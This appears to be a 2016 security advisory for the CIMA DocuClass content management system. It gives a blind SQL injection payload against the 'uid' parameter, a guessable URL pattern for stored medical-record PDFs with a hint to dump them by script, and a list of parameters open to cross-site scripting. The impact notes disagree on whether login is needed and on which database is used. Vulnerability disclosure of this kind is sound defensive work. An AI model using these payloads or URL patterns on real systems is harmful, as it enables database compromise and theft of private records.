# Exploit Title: [CIMA DocuClass Enterprise Content Management - Multiple Vulnerabilities]# Date: [July 15, 2016]# Exploit Author: [Karn Ganeshen (ipositivesecurity.blogspot.com)]# Vendor Homepage: [cima-software.com]# Version: [app version] (All)# Tested on: [Microsoft Windows 2008 R2]
DocuClass is a modular and scalable enterprise content management (ECM) solution that allows organizations to streamline internal operations by significantly improving the way they manage their information within a business process.
Vulnerability Details
1. SQL Injection [Post Auth]
PoC
Vulnerable URLs & parameters:
A: POST request
/dcrpcserver.php [parameter - uid]---
Parameter: uid (POST)
Type: boolean-based blind
Title: PostgreSQL boolean-based blind - Parameter replace
Payload: cmd=searchform&action=getsavedqueries&node=&uid=(SELECT (CASE WHEN (7877=7877) THEN 7877 ELSE 1/(SELECT 0) END))---
web server operating system: Windows 2008 R2 or7
web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.2.5
back-end DBMS: Microsoft SQL Server 2008
Impact
An unauthenticated attacker can read or modify data in the application database, execute code,and compromise the host system.
B: GET request
/e-forms/dcformsserver.exe?action=createimagepdf&documentid=1408648&userid=755[parameter - userid]2. Access Control Flaws
DocuClass web application does not enforce strict access control.
PoC:
http://IP/medical_records/0000001337/0000000000123456.pdf
Dump all the documents with a bit of scripting.
Impact
An unauthenticated user can access stored documents by directly calling the document url.3. Cross-Site Scripting
DocuClass web application lacks strong input validation,and multiple urls & parameters are vulnerable to cross-site scripting (CWE-79) attacks./e-forms/dcformsserver.exe [action parameter]/e-forms/dcformsserver.exe [documentid parameter]/e-forms/dcformsserver.exe [userid parameter]/reports_server.php [cmd parameter]/reports_server.php [reportid parameter]/reports_server.php [uid parameter]
Impact
An attacker may be able to execute arbitrary scripts/code in the context of the user's browser.+++++
